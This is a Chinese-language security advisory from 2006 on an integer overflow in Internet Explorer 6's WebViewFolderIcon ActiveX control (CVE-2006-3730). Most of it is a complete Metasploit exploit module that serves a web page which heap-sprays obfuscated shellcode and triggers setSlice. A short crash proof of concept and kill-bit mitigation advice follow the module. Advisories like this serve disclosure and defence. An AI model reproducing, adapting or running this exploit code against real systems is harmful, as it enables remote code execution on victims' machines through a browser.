|
中华网络安全联盟 来源：奇趣 时间：2006-9-28 12:20:46
发布日期：2006-07-17
更新日期：2006-09-28
受影响系统：
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0
描述：
BUGTRAQ ID: 19030
CVE(CAN) ID: CVE-2006-3730
Internet Explorer是微软发布的非常流行的WEB浏览器。
Internet Explorer在处理畸形的ActiveX对象调用方式时存在整数溢出漏洞，远程攻击者可能利用此漏洞导致浏览器崩溃或执行任意指令。
如果攻击者能够向WebViewFolderIcon控件的setSlice方法传送0x7fffffff参数的话，可能导致浏览器崩溃或执行任意指令。
<*来源：H D Moore （hdm@metasploit.com）
链接：http://browserfun.blogspot.com/
http://www.kb.cert.org/vuls/id/753044
http://www.us-cert.gov/cas/techalerts/TA06-270A.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
require 'msf/core'
module Msf
class Exploits::Windows::Browser::WebView_SetSlice < Msf::Exploit::Remote
include Exploit::Remote::HttpServer::Html
def initialize(info = {})
super(update_info(info,
'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
'Description' => %q{
This module exploits a flaw in the WebViewFolderIcon ActiveX control
included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
during the Month of Browser Bugs project (MoBB #18).
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
],
'Version' => '$Revision: 3783 $',
'References' =>
[
[ 'OSVDB', '27110' ],
[ 'BID', '19030' ],
[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
],
'DefaultTarget' => 0))
end
def autofilter
false
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Get a unicode friendly version of the return address
addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
# Randomize the javascript variable names
var_buffer = Rex::Text.rand_text_alpha(rand(30)+2)
var_shellcode = Rex::Text.rand_text_alpha(rand(30)+2)
var_unescape = Rex::Text.rand_text_alpha(rand(30)+2)
var_x = Rex::Text.rand_text_alpha(rand(30)+2)
var_i = Rex::Text.rand_text_alpha(rand(30)+2)
var_tic = Rex::Text.rand_text_alpha(rand(30)+2)
var_toc = Rex::Text.rand_text_alpha(rand(30)+2)
# Randomize HTML data
html = Rex::Text.rand_text_alpha(rand(30)+2)
# Build out the message
content = %Q|
<html>
<head>
<script>
try {
var #{var_unescape} = unescape ;
var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ;
var #{var_x} = new Array() ;
for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) {
#{var_x}[ #{var_i} ] =
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} +
#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
}
for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
var #{var_tic} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
try { #{var_tic}.setSlice( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
var #{var_toc} = new ActiveXObject( 'WebViewFolderIcon.WebViewFolderIcon.1' );
}
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
<body>
#{html}
</body>
</html>
|
# Randomize the whitespace in the document
content.gsub!(/\s+/) do |s|
len = rand(100)+2
set = "\x09\x20\x0d\x0a"
buf = ''
while (buf.length < len)
buf << set[rand(set.length)].chr
end
buf
end
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, content)
end
end
end
＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
var a = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
a.setSlice(0x7fffffff, 0, 0x41424344, 0);
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 禁用WebViewFolderIcon ActiveX控件
为以下CLSID设置kill bit来禁用WebViewFolderIcon控件：
{844F4806-E8A8-11d2-9652-00C04FC30871}
厂商补丁：
Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.microsoft.com/windows/ie/default.asp |
